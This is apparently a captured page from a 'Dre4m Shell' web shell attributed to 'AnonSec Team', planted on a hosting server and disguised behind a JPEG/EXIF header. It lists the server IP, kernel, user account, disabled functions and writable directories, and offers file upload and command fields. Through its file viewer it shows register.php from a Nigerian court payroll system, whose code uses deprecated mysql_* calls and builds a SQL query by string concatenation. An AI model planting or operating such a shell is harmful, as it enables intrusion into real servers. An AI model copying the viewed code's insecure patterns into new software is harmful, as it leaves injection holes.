ÿØÿàJFIFÿáExifMM*ÿÛC  Dre4m Was Here
Dre4m Shell
Server IP : 199.250.214.225  /  Your IP : 3.15.31.137
Web Server : Apache
System : Linux vps64074.inmotionhosting.com 3.10.0-1160.105.1.vz7.214.3 #1 SMP Tue Jan 9 19:45:01 MSK 2024 x86_64
User : nicngo5 ( 1001)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : OFF
Directory :  /home/nicngo5/consolidated/consolidated/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /home/nicngo5/consolidated/consolidated//register.php
<?php
//
//require_once('business login/classes/.php');
require_once('business logic/classes/users.php');
$user = new User();
//
$uid = $_SESSION['uid'];
$access = $_SESSION['acc'];
$group = $_SESSION['div_group'];
//
if($access > 1)
   header("location:delay.php");

if (!$user->get_session())
{
   header("location:myown_mainpage.php?you are not login");
}
//
if (isset($_GET['q']) and $_GET['q'] == 'logout') 
{
    $user->user_logout();
    header("location:myown_mainpage.php? you are log out");
}
//
if ($_SERVER["REQUEST_METHOD"] == "POST") 
{//begin 
$fullname=mysql_real_escape_string($_POST['name']);
$username=mysql_real_escape_string($_POST['username']);
$password=mysql_real_escape_string($_POST['password']);
$cpass=mysql_real_escape_string($_POST['confirmpass']);
$accessV=mysql_real_escape_string($_POST['access']);
$division=mysql_real_escape_string($_POST['division']);

//prepare
//$statement = $connection>prepare( "SELECT * FROM tbl_members WHERE id = ?" );  
//$statement->bind_param($_POST['username'], $_POST['password']);  
//$statement->execute();  

//
	if ($password !=$cpass )
	{
		$msg = '<div class="style26" align="center">Password does not match</div>';
	}
	else
	{

    	$register = $user->register_user($fullname,$username,$password,$accessV,$division);
    	if ($register) 
		{
        // Registration Success
        	$msg= '<div class="style28" align="center">User Account Created Successful</div>';
    	} 
		else 
		{
        // Registration Failed
        	$msg = '<div class="style26" align="center">User Account already created</div>';
    	}
	}
}//end
?>


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<link rel="shortcut icon" href="images/favicon.ico">
<title>National Industrial Court of Nigeria...::...Create New User</title>
<link href="css/payroll.css" rel="stylesheet" type="text/css" />
<style type="text/css">
<!--
.style25 {	font-family: Verdana, Arial, Helvetica, sans-serif;
	color: #FF0000;
}
a:link {
	text-decoration: none;
}
a:visited {
	text-decoration: none;
}
a:hover {
	text-decoration: underline;
}
a:active {
	text-decoration: none;
}
-->
</style>
<script language="javascript" type="text/javascript"> 
function submitregistration() {
 var form = document.login;
				
     
if(form.name.division.value == "Select Division")
{
	alert( "Select Division" );
	//form.name.division.focus();
	return false;
}
else if(form.name.value == "")
{
alert( "Enter your Full Name" );
return false;
}
else if(form.username.value == "")
{
alert( "Enter Username" );
return false;
}
else if( form.password.value == "")
{
alert( "Enter password " );
return false;
}
 else if (form.confirmpass.value == "")
{
alert( "please Confirm password" );
return false;
}

 
}
</script> 
</head>

<body onLoad="document.login.name.focus()">
<table width="744" border="0" cellpadding="0" cellspacing="0" class="container" align="center" >
  <!--DWLayoutTable-->
  <tr>
    <td width="800" height="42" colspan="2" valign="top"><?php require_once('header.php');?></td>
  </tr>
  <tr>
    <td height="19" colspan="2" valign="top"><table width="100%" border="0" cellpadding="0" cellspacing="0" class="bottomborder">
      <!--DWLayoutTable-->
      <tr>
        <td width="33%">&nbsp;<a href="userArea.php">Home</a>&nbsp;</td>
        <td width="67%">
          <?php 
			 //$user->getLink($access);
			  $user->get_fullname($uid);
		
		?>
          <a href="?q=logout">Logout</a>&nbsp;</td>
      </tr>
    </table></td>
  </tr>
  <tr>
    <td height="243" valign="top"><?php require('links.php');?>
      <br />
    <br /></td>
    <td valign="top"><table width="404" border="0" align="left" cellpadding="0" cellspacing="0">
      <tr>
        <td width="404" colspan="3"><br />
        <fieldset>
          <legend>Create New User<br />
            </legend>
          <form id="login" name="login" method="post" action="">
            <table width="87%"  border="0" align="center" cellpadding="0" cellspacing="3">
              <tr class="listtop">
                <td colspan="3"><span class="style25">
                  <?php if(isset($msg))
			echo $msg;
			//}
			?>
                </span></td>
              </tr>
              <tr>
                <td><div align="right">Division</div></td>
                <td><select name="division" id="division">
                  <option value="Select Division">Select Division</option>
                  <?php
				  
                $result = mysql_query("select * from tbldivision where div_group= '$group' order by division");
						while($rows = mysql_fetch_assoc($result))
						{
							echo "<option value='".$rows['division']."'>".$rows['division']."</option>";
						}
				?>
                </select></td>
                </tr>
              <tr>
                <td><div align="right">Full Name</div></td>
                <td><input name="name" type="text" id="name" required="true"/></td>
              </tr>
              <tr>
                <td width="36%"><div align="right">Username</div></td>
                <td width="64%"><input name="username" type="text" id="username" required="true"/></td>
              </tr>
              <tr>
                <td><div align="right">Password</div></td>
                <td><input name="password" type="password" id="password"  required="true"/></td>
              </tr>
              <tr>
                <td><div align="right">Confirm Password</div></td>
                <td><input name="confirmpass" type="password" id="confirmpass"  required="true"/></td>
              </tr>
              <tr>
                <td><div align="right">Access Level</div></td>
                <td><label>
                  <select name="access" id="access">
                    <option value="1" >1</option>
                    <option value="2" selected="selected">2</option>
                    <option value="3">3</option>
                  </select>
                </label></td>
              </tr>
              <tr>
                <td></td>
                <td><input type="hidden" name="flag" value="login"/>
                  <input type="submit" name="create" value="Create User"  onclick="return( submitregistration());" id="create"/></td>
              </tr>
            </table>
          </form>
        </fieldset></td>
      </tr>
    </table></td>
  </tr>
  <tr>
    <td height="20" colspan="2" valign="top"><table width="100%" border="0" cellpadding="0" cellspacing="0">
      <!--DWLayoutTable-->
      <tr>
        <td align="right">
		</td>
      </tr>
    </table></td>
  </tr>
</table>
</body>
</html>
<?php $user->close();?>

Anon7 - 2022
AnonSec Team